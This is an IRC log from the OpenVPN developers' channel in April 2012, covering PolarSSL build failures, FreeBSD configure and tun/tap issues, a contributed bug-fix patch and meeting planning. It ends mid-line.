Title: Index of /downloads/polarssl (at build.openvpn.net) 07:22 <@mattock> I'll try to locate EL packages next 07:23 <@mattock> dazo: any ideas where to get them? 07:23 <@dazo> There's no EL packages for PolarSSL yet ... polarssl-1.1 is only in F17 currently, but I plan to submit a request for EL6 07:27 <@mattock> dazo: when could be expect 1.1 on EL6? 07:28 <@mattock> i.e. should we/I hack something together while waiting? 07:28 <@dazo> oh, I have no idea, tbh ... the ticket needs to be filed, then it must be approved and followed upon ... I might end up as the package maintainer, which means I'll be responsible to build and submit packages to the update system 07:32 <@mattock> that's the price one may have to pay when complaining in a volunteer organization :D 07:32 <@mattock> -> more duties 07:32 <@mattock> I think I'll build polarssl manually on my centos 6/fedora 16 buildslaves so that buildbot does not complain 07:33 <@mattock> and that I don't have to make too many nasty hacks in buildmaster configuration 07:46 <@mattock> polarssl build on centos-6-amd64 and polarssl-1.1.1 went through configure phase just fine... 07:47 <@mattock> same issue as with debian/ubuntu: http://pastebin.com/VCF26vgh 07:48 <@mattock> I'll test MSVC builds now... 07:50 <@dazo> mattock: you can probably pull the src.rpm for F17 ... and just do rpmbuild --rebuild $srcrpm 07:50 <@dazo> http://koji.fedoraproject.org/koji/buildinfo?buildID=307556 07:50 <@vpnHelper> Title: polarssl-1.1.1-1.fc17 | Build Info | Koji (at koji.fedoraproject.org) 07:50 <@mattock> ah, too late, already did a build from source 07:50 <@dazo> ahh, okay 07:50 <@mattock> although I'll do that with my F16 VMs, they're not polarssl-ready yet 07:51 <@dazo> :) 07:51 <@dazo> you might even try the binary package too ... often they just slide in 07:51 <@dazo> (esp. when Fedora releases aren't that far away from each other .... pulling it into EL6 will most likely fail, due to different glibc) 07:53 <@mattock> Windows build computer seems unresponsive, need to do something... 07:53 <@mattock> else 08:46 < ecrist> I'm going to give another go at importing the current forums to vbulletin 08:47 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 09:10 <@mattock> ecrist: excellent! 09:10 <@mattock> I hope it works out, no fun to lose all the history 09:12 <@dazo> the only disadvantage of that, is that Jan Just will continue with his high post rating .... starting from scratch pulls him back to start again too :-P 09:13 <@mattock> dazo: yeah, and it takes him full 1 week to get past 100 posts :D 09:13 <@dazo> :) 09:17 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 09:17 -!- mode/#openvpn-devel [+v krzee] by ChanServ 09:20 < ecrist> lol 11:24 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 11:26 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 11:26 -!- mode/#openvpn-devel [+o andj] by ChanServ 11:51 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:51 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 12:18 <@cron2> meeting tonight? 12:20 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 12:21 * dazo cannot 12:21 * dazo is soon on the way out 12:34 -!- dazo is now known as dazo_afk 13:52 <@andj> mattock: ssl_polarssl.c:520: error: 'havege_rand' undeclared (first use in this function) 13:52 <@andj> is indeed due to an old polarssl 13:53 <@andj> the havege_rand function got changed to havege_random, with a different set of parameters 13:53 <@andj> beside of which, it has a new wrapper DRBG as well :) 14:59 <@mattock> andj: I installed 1.1.0 or 1.1.1, depending on the OS 15:30 <@mattock> got access to the build computer, will do some MSVC and cross-compiling tests tomorrow morning 15:30 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 16:01 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 18:06 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 18:06 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:13 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 246 seconds] 19:24 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 19:24 -!- mode/#openvpn-devel [+o andj] by ChanServ 20:24 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 22:01 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:01 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Fri Apr 13 2012 01:40 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:40 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:31 <@mattock> experimenting with the new MSVC buildsystem now... I'll try Visual Studio 2010 Express as 2008 is not detected 04:31 <@mattock> there was discussion about this on ml, though 04:32 <@mattock> also noticed that the new buildsystem is not yet in the official Git 05:03 * cron2 pokes dazo 05:18 <@mattock> yeah, Visual Studio 2010 Express did the trick 05:37 <@mattock> trying to build using official Git repo 05:37 <@mattock> as a source for OpenVPN 05:38 <@mattock> openvpn-2.3-alpha1 version from Alon's GitHub worked fine 06:00 <@mattock> ah, the build files and directory structure had been renamed... 07:47 -!- dazo_afk is now known as dazo 08:24 <@vpnHelper> RSS Update - wishlist: Non-Admin usage of OpenVPN on Windows <http://forums.openvpn.net/topic10299.html> --- Log opened Fri Apr 13 08:46:44 2012 08:46 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 08:46 -!- Irssi: #openvpn-devel: Total of 15 nicks [6 ops, 0 halfops, 1 voices, 8 normal] 08:46 -!- Irssi: Join to #openvpn-devel was synced in 18 secs 08:47 -!- novaflash is now known as novaflash_away 09:07 -!- novaflash_away is now known as novaflash 09:35 <@mattock> enough build tests for today :) 09:45 <@vpnHelper> RSS Update - wishlist: Wishing to be notified/emailed when VPN Server IP changes <http://forums.openvpn.net/topic10300.html> 10:34 < ecrist> what a lame wishlist item 10:46 <@dazo> wow! .... agreed 13:21 <@vpnHelper> RSS Update - tickets: #202: easy-rsa/whichopensslcnf does not detect openssl 1.0.1 correctly <https://community.openvpn.net/openvpn/ticket/202> 14:02 <+krzee> lol 15:46 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 16:01 -!- dazo is now known as dazo_afk 20:11 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] --- Log closed Fri Apr 13 22:13:50 2012 --- Log opened Sun Apr 15 08:28:58 2012 08:28 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 08:28 -!- Irssi: #openvpn-devel: Total of 14 nicks [5 ops, 0 halfops, 1 voices, 8 normal] 08:28 -!- Irssi: Join to #openvpn-devel was synced in 0 secs 15:50 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 17:28 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:28 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:34 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 276 seconds] 21:46 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:46 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Mon Apr 16 2012 02:09 -!- dazo_afk is now known as dazo 03:06 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:06 -!- mode/#openvpn-devel [+o mattock] by ChanServ 05:08 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 05:09 <@d12fk> what is up with alon? 05:18 * dazo dunno 12:23 < novaflash> what's an alon? 12:52 -!- dazo is now known as dazo_afk 13:05 -!- dazo_afk is now known as dazo 13:06 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 13:09 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:09 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:41 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Remote host closed the connection] 14:58 -!- dazo is now known as dazo_afk 18:26 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 272 seconds] 23:16 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 23:16 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Tue Apr 17 2012 01:42 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:42 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:19 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Quit: mattock] 02:42 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:42 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:42 <@mattock> back to normal again, it seems 02:46 <@mattock> maybe we should have an IRC meeting this week 02:49 -!- dazo_afk is now known as dazo 02:58 <@mattock> hi dazo! 02:58 <@mattock> was freenode down briefly? 03:01 <@dazo> uhm ... I dunno 03:02 <@mattock> what do you think about having a meeting this week? 03:02 <@mattock> doable? 03:07 <@dazo> cron2 is travelling ... and I have a packed schedule this week ... but I know it is highly needed to 03:07 <@dazo> unfortunately, I don't see how I can cram a meeting in this week :/ 03:26 <@mattock> next week maybe? 03:27 <@dazo> yeah, let's plan for that 04:02 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 248 seconds] 04:12 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:12 -!- mode/#openvpn-devel [+o mattock] by ChanServ 07:13 -!- dazo is now known as dazo_afk 07:30 -!- dazo_afk is now known as dazo 11:08 -!- dazo is now known as dazo_afk --- Log opened Thu Apr 19 11:22:33 2012 11:22 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 11:22 -!- Irssi: #openvpn-devel: Total of 15 nicks [6 ops, 0 halfops, 1 voices, 8 normal] 11:22 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 14:25 -!- dazo is now known as dazo_afk 15:38 -!- novaflash is now known as novaflash_away 15:46 -!- novaflash_away is now known as novaflash 16:44 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 276 seconds] 17:09 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:09 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Fri Apr 20 2012 03:46 -!- dazo_afk is now known as dazo 04:21 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 08:57 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 08:57 -!- mode/#openvpn-devel [+v krzee] by ChanServ 08:58 -!- krzee [~k@openvpn/community/support/krzee] has quit [Client Quit] 08:59 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 08:59 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:52 -!- dazo is now known as dazo_afk --- Day changed Sat Apr 21 2012 01:14 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 276 seconds] 01:14 -!- uomu [~guest@ip68-2-176-33.ph.ph.cox.net] has joined #openvpn-devel 01:21 < uomu> What is the purpose of the x_msg_prefix which is sent by the server in a multi-client instance? 01:57 < uomu> !meetings 01:58 <@vpnHelper> "meetings" is OpenVPN developers meetings are usually held on Thursdays @ 18:00 UTC. Ask mattock or dazo for latest info. Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 02:05 -!- uomu [~guest@ip68-2-176-33.ph.ph.cox.net] has quit [Quit: Leaving] 04:56 <@vpnHelper> RSS Update - tickets: #203: openvpn client can't reconnect after server failure <https://community.openvpn.net/openvpn/ticket/203> 11:20 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 11:20 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:18 -!- mattock [~samuli@openvpn/corp/admin/mattock] has left #openvpn-devel [] --- Day changed Sun Apr 22 2012 05:44 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 265 seconds] 08:51 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 08:51 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:35 * ecrist grumble 14:36 < ecrist> I can't get the current git tree to configure on freebsd 14:37 -!- Irssi: #openvpn-devel: Total of 14 nicks [5 ops, 0 halfops, 1 voices, 8 normal] 14:41 < ecrist> dazo/d12fk/cron2: any of you around? 14:59 <@cron2> wassup? 15:00 <@cron2> ecrist: the new build system needs to have libtool installed 15:00 <@cron2> that's the problem I had on all *BSD buildslaves - as soon as I had this, everything worked 15:00 * ecrist looks 15:01 < ecrist> cron2: sometime after 2012-10, LZO detection was changed in configure 15:02 < ecrist> and I have libtool 2.2 and 2.4 installed 15:02 <@cron2> oh, indeed. On my buildslaves, I added symlinks from /usr/include and /usr/lib to /usr/local/{include,lib}/*lzo* - but that's a hack to work around buildslave not wanting to add additional options. No idea how you tell recent configure where the libraries are - but it might 15:03 <@cron2> be something like CFLAGS="-I/usr/local/include -L/usr/local/lib" ./configure 15:03 < ecrist> I'll try that 15:04 <@cron2> I think the new build code looks for pkg-config entries for lzo (which are usually not there) but I haven't really looked into these bits yet 15:05 < ecrist> I think the CFLAGS did it 15:06 <@cron2> is there anything in README or INSTALL about that? If not we might want to add something, as this will cause pain for "normal users" as well 15:06 < ecrist> gah 15:06 < ecrist> so, it got me further down the path 15:06 <@cron2> maybe you need CFLAGS=-I... LDFLAGS=-L... configure 15:06 < ecrist> now it's complaining about lzoutils.h 15:06 < ecrist> that's probably it 15:09 < ecrist> that didn't work 15:09 <@cron2> so what is it failing about now? 15:09 < ecrist> lzoutils.h 15:10 < ecrist> oh, typo on my part 15:10 <@cron2> I don't even have that (unless that's a typo), only lzoutil.h here (no -s). 15:10 <@cron2> Ah :) 15:11 < ecrist> it's building now 15:11 < ecrist> I was missing a / after the includes path 15:12 < ecrist> did the plugin directory go away, too? 15:12 <@cron2> it was moved somewhere 15:12 < ecrist> ah, I foudn it 15:12 < ecrist> I'm working on an update to the -devel freebsd port 15:13 <@cron2> I guessed so :-) 15:13 < ecrist> heh 15:16 < ecrist> doing a presentation in Canada in three weeks, figure I should be on top of things. 15:22 * ecrist continues to hack way through Makefile 15:22 < ecrist> thanks for your help, cron2 15:31 < ecrist> did they get rid of easy-rsa? 16:18 <@cron2> easy-rsa got removed from main openvpn git, and will re-appear "somewhere else in git" but I don't think dazo has setup that yet 17:38 < ecrist> good to know, thanks. 18:42 < ecrist> cron2: you still around? 18:43 < ecrist> do you know the trick to getting tun/tap to load dynamically on freebsd 9? 19:18 < ecrist> nm, tun works, have to load if_tun to get that to work --- Day changed Mon Apr 23 2012 00:05 <+krzee> just found --client-nat… cool feature! 00:58 -!- Netsplit *.net <-> *.split quits: jamxNL, EvilJStoker, waldner 01:09 -!- EvilJStoker_ [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 01:09 -!- EvilJStoker_ is now known as EvilJStoker 01:13 -!- jamxNL [jamx@2a01:4f8:140:5243::1234] has joined #openvpn-devel 01:15 -!- waldner [waldner@unaffiliated/waldner] has joined #openvpn-devel 02:00 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 265 seconds] 02:12 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 02:12 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 03:56 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 250 seconds] 04:29 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 04:29 -!- mode/#openvpn-devel [+v krzee] by ChanServ 09:20 <@cron2> ecrist: on freebsd 9, tun was there just fine, and for tap I had to kldload if_tap 09:20 <@cron2> can't remember having to do anything for tun 09:23 < ecrist> yeah, the tun kernel module is auto-loaded 09:23 < ecrist> tap is not,using devfs 09:24 < ecrist> using the new clone interface, it does auto-load 09:30 <@cron2> can't remember what we're using on FreeBSD these days... 09:30 < ecrist> devfs 09:30 < ecrist> which, for tun/tap is claimed to be deprecated now 09:30 <@cron2> I fixed tap on "one of the BSDs" (which didn't do any tap auto-assignment), but I think that was NetBSD 09:31 <@cron2> what is "devfs"? opening /dev/tap, or opening /dev/tapN? 09:32 <@cron2> because the manpage calls "/dev/tap" the "legacy devfs cloning"... 09:32 < ecrist> opening /dev/tap and getting a file descriptor for /dev/tapN 09:32 < ecrist> right 09:32 <@cron2> the man page is pretty much unchanged since freebsd 6 :-) 09:32 < ecrist> lame 09:33 < ecrist> kld_list="if_tap" in rc.conf fixes the issue by loading the kernel module 09:33 < ecrist> *shrug* 09:33 <@cron2> sure 09:35 <@cron2> ah, for *NetBSD* I am doing this - open /dev/tap, see what the system assigns 09:35 <@cron2> for FreeBSD it's still iterating /dev/tap0, /dev/tap1, /dev/tap2... 09:36 <@cron2> that code looks like it could work on FreeBSD as well (tun.c, open_tun_generic(), look for NETBSD) 09:36 <@cron2> but anyway, no time right now to fumble with that - loading if_tap at boot is sufficient, and who wants tap anyway :-) 09:36 < ecrist> heh 10:33 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 11:03 -!- coderrr [~steve@pdpc/corporate-sponsor/privateinternetaccess.com/coderrr] has joined #openvpn-devel 11:05 < coderrr> hey guys just wanted to check iff anyone verified my bug/patch was legit: http://sourceforge.net/mailarchive/forum.php?thread_name=CAHQHjk%2BRc1sqpA8_ODdLB0L2iWJ3%2BUDA12aogNXSbfAc-X2KvA%40mail.gmail.com&forum_name=openvpn-devel 11:05 <@vpnHelper> Title: SourceForge.net: OpenVPN: openvpn-devel (at sourceforge.net) 11:05 < coderrr> sorry, http://sourceforge.net/mailarchive/message.php?msg_id=29141839 11:05 <@vpnHelper> Title: SourceForge.net: OpenVPN: (at sourceforge.net) 11:06 < coderrr> wasnt sure if that was intended to be an infinite loop, would expect it to be while (1) or something if it was 11:11 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 11:11 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:18 < ecrist> without looking further, it seems reasonable 11:18 < ecrist> dazo or cron2 or someone else will know better 11:24 < coderrr> ecrist, thanks for the feedback 11:36 <+krzee> new code? 11:41 < ecrist> a patch 11:41 < ecrist> minor one 11:44 < coderrr> krzee, http://sourceforge.net/mailarchive/message.php?msg_id=29141839 11:44 <@vpnHelper> Title: SourceForge.net: OpenVPN: (at sourceforge.net) 11:53 <+krzee> hey cool 11:53 <+krzee> ^5 on the bughunting 13:32 <@cron2> re 13:32 <@cron2> let me look 13:33 <@cron2> ok, I have never looked at *that* part of the code, I think only James really knows it "by heart". So I'd need to look more closely - the patch is still sitting in my in-mail-queue, tho, so you'll hear from me... 13:33 <@cron2> (where is dazo, anyway?) 13:40 < ecrist> slackerville, I think 14:07 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:07 -!- mode/#openvpn-devel [+o mattock] by ChanServ 15:27 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 15:27 -!- mode/#openvpn-devel [+o dazo] by ChanServ 15:31 -!- dazo is now known as dazo_ 15:33 -!- dazo_afk is now known as dazo 15:46 <@dazo> cron2: just checking in quickly now (tuning the irc bouncer at home currently, which will make me check in more often) .... and I have been in a conference today :) 15:51 <@dazo> coderrr: thx for your patch ... those code paths I don't know much about now, so I'd like to get James Yonan to look at your patch ... I believe we will have a developers meeting this Thursday, so I hope James have time to pop in then 15:53 -!- dazo [dazo@openvpn/community/developer/dazo] has quit [Quit: *puff*] 15:54 -!- dazo_ is now known as dazo 16:01 -!- dazo is now known as dazo_afk 16:04 < coderrr> dazo_afk, cool np 20:14 <@vpnHelper> RSS Update - tickets: #204: nsCertType not set to "client" for a client cert <https://community.openvpn.net/openvpn/ticket/204> 23:59 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds] --- Day changed Tue Apr 24 2012 03:07 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 272 seconds] 03:16 -!- dazo_afk is now known as dazo 03:26 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:26 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:28 <@cron2> progress seems to have gotten stuck some two weeks ago... 04:28 <@cron2> there's a bunch of unacked or ACKed-but-not-committed stuff on the list 04:42 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 04:47 <@dazo> cron2: I know ... I've just been overloaded lately ... I'll try to have a look at openvpn stuff again tomorrow 05:10 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:10 -!- mode/#openvpn-devel [+o mattock] by ChanServ 05:12 <@cron2> mmmh. no why am I on freenode via IPv4? stupid irssi 05:12 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Quit: Changing server] 05:12 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 05:12 -!- mode/#openvpn-devel [+o cron2] by ChanServ 05:12 <@cron2> this is better :-) 05:30 <@dazo> hehehe 05:31 * dazo need to get his DMZ IPv6 enabled 05:37 <@cron2> meh 05:38 <@cron2> we need to get the new gui with new service out... 05:38 <@cron2> just fixed a couple of colleagues' win7 openvpn setups, that failed due to "no permission to set routes" 07:48 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 07:49 -!- mode/#openvpn-devel [+v krzee] by ChanServ 09:11 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 276 seconds] 09:13 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 09:13 -!- mode/#openvpn-devel [+o andj] by ChanServ 11:13 -!- dazo is now known as dazo_afk 11:57 <@andj> A colleague of mine is playing with OpenVPN on Android btw... 11:58 <@andj> He's working on a patch to pass the socket on to the OS, while at the same time getting the tun device from an external source 11:58 <@cron2> oh, good to see you :-) andj: have you been able to sort out these buildbot failures about havege_rand (or so) with mattock? Is there a patch missing? 11:59 <@andj> Wasn't that already fixed on his side? 11:59 <@andj> If not, I can help debug things 11:59 <@cron2> I haven't seen anything anymore, so I was wondering what the issue was 11:59 <@cron2> if it's fixed, fine with me :-) 11:59 <@mattock> andj: so you mailed a patch/patches fixing that issue, right? 11:59 <@andj> I thought it was just an old version of PolarSSL 12:00 <@mattock> because some of the buildslaves were already using latest polarssl 12:00 <@mattock> and all buildslaves failed with the same error 12:00 <@mattock> so I think some patches are missing from OpenVPN 12:00 <@cron2> that was my guess, which is why I was checking 12:00 <@andj> ah, the patches aren't in the master branch yet 12:01 <@cron2> ok, this explains things 12:01 * cron2 waves to dazo (who said he'll have time tomorrow :) ) 12:01 <@cron2> so we can all go back to sleep now 12:02 <@mattock> cron2: you mean "lay dormant until an external impulse awakens us again?" 12:02 <@cron2> yeah :-) 12:02 <@mattock> :) 12:02 * cron2 has way too many external impulses right now :( 12:03 <@andj> I'll try to be there thursday, but it might be a little spotty, as I'll be in a train 12:03 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 250 seconds] 12:03 <@mattock> I'll get back to business tomorrow after lunchtime, Mon-Tue is always too busy 12:04 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 12:04 * andj needs to check out http://mosh.mit.edu/ 12:04 < krzee> for non-root non-ICS? 12:04 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:04 <+krzee> http://www.featvpn.com/ figured it out, but with a hack reminiscient of the tunemu hack for ios 12:04 <@vpnHelper> Title: FEAT VPN - OpenVPN on Android without root (at www.featvpn.com) 12:05 <@andj> krzee: android 4.0+ can get you a tun device 12:05 <@andj> and that's what we're gunning for 12:05 <+krzee> ahh right, the ICS version 12:05 <+krzee> sweet =] 12:06 <@andj> I'm thinking about adding some code neer the tun creation function 12:07 <@andj> that queries the management interface 12:08 <@andj> anyway, going to cook, see you guys later 12:13 <@mattock> omg, even the mailing lists have been dormant 12:13 <@mattock> well, there's been lots of traffic lately... maybe everything has been said already? 12:13 <@mattock> :P 15:17 <@cron2> dazo has fallen in stasis... 19:16 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 21:22 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:22 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:47 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 272 seconds] --- Day changed Wed Apr 25 2012 00:54 <@mattock> we shall wake up at the end of the days 03:55 -!- dazo_afk is now known as dazo 06:27 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 06:27 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:58 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 13:10 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:10 -!- mode/#openvpn-devel [+o mattock] by ChanServ 13:19 <@cron2> nobody woke up yet, as far as I can see... :-) 13:21 * krzee raises his hand 13:21 <+krzee> im up im up 13:45 -!- dazo is now known as dazo_afk 16:00 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 17:05 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:05 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:16 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 19:17 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 19:17 -!- mode/#openvpn-devel [+o mattock] by ChanServ 20:11 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 20:11 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 20:11 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Thu Apr 26 2012 00:01 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 01:52 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 01:52 -!- mode/#openvpn-devel [+v krzee] by ChanServ 03:22 <@mattock> finally back to work... hint: don't cut of the tip of your little finger with a kitchen knife if you need a keyboard for living :P 03:23 <@mattock> cut off 03:23 <@cron2> ouch 03:23 <@cron2> (you're just avoiding mailing list discussions with Alon, are you? :) ) 03:23 <@mattock> good thing I had my legally mandatory entrepreneur accident insurence covered... oh wait... :) 03:23 <@mattock> well, that's a bonus :P 03:24 <@mattock> actually, I could work last weekend just fine, but yesterday I had some issue with it, so I was incapable of doing anything 03:24 <@mattock> except watching movies, that is 03:24 <@mattock> cron2: has dazo said anything about a meeting today? 03:25 <@mattock> I think we should have one, if enough people can attend 03:28 <@cron2> I'll be here 03:28 <@cron2> can't remember anything from dazo 03:30 <@mattock> ok, I'll setup the topic list just in case 03:30 <@mattock> expecting "lively" discussion on the ml after the summary is out :P 04:18 -!- andj__ [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 04:18 -!- mode/#openvpn-devel [+o andj__] by ChanServ 04:22 -!- coderrr [~steve@pdpc/corporate-sponsor/privateinternetaccess.com/coderrr] has quit [Ping timeout: 246 seconds] 04:22 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 246 seconds] 04:22 -!- andj__ is now known as andj 04:35 -!- dazo_afk is now known as dazo 04:37 <@dazo> mattock: I've set aside time for a meeting today 04:37 <@mattock> excellent! 04:37 <@mattock> I'm almost done with v0.9 of the meeting agenda 04:37 <@dazo> it's highly needed :) ... And I have quite a backlog to go through too :/ 04:38 * dazo plans to spend some working hours on openvpn today ... as he was told to sit on the fence yesterday for a little while on a project he was supposed to work on this week 04:52 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2012-04-26 04:52 <@vpnHelper> Title: Topics-2012-04-26 – OpenVPN Community (at community.openvpn.net) 04:52 <@mattock> lots of Alon, but we need to get over it sooner or later 04:52 <@mattock> and he had good suggestion... whether those are realistic remains to be discussed 04:53 <@mattock> suggestions 04:54 <@dazo> ack 05:17 -!- dazo is now known as dazo_afk 05:28 <@mattock> topic mail sent 05:39 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 272 seconds] 05:52 -!- dazo_afk is now known as dazo 05:54 <@dazo> hmmm .... I'm seeing something odd .... http://www.fpaste.org/5ap3/ 05:54 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:54 <@dazo> hmmm .... I'm seeing something odd .... http://www.fpaste.org/5ap3/ 05:54 -!- mode/#openvpn-devel [+o mattock] by ChanServ 05:54 <@dazo> server is: Thu Apr 26 11:49:58 2012 us=59461 OpenVPN 2.x-testing-aa52ca828fc0 mips-openwrt-linux [SSL] [LZO2] [MH] [PF_INET6] [IPv6 payload 20110424-2 (2.2RC2)] built on Apr 24 2012 05:54 <@dazo> (cron2's openvpn-devel for tp-link routers) 05:54 <@dazo> client is "latest" openvpn master 05:55 <@dazo> these things are seen in the client log, with verb 4 05:56 <@dazo> esp. this one is worrying ... 05:56 <@dazo> Thu Apr 26 11:50:17 2012 us=180928 WARNING: 'version' is used inconsistently, local='version V4', remote='version V0 UNDEF' 06:15 -!- dazo is now known as dazo_afk 06:21 <@cron2> well, the openvpn-devel pkg is somewhat old - I need to do a re-spin but wanted to wait for the build system fall-out to settle down a bit 06:22 <@cron2> dazo: could you put it into trac so we won't forget to look into this? 06:29 -!- dazo_afk is now known as dazo 06:37 <@dazo> cron2: I'm bisecting things now ... so I'll point at an exact commit where IPv6 breaks 06:38 * dazo will jump in/out for a while forward now 06:41 <@cron2> huh? ipv6 broken? where, why? 06:41 <@cron2> the pastebin points at generic option pushing issues, but I haveN 06:41 <@cron2> hadn't seen anything about v6 yet... 06:43 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 06:47 -!- dazo is now known as dazo_afk 06:48 -!- dazo_afk is now known as dazo 06:50 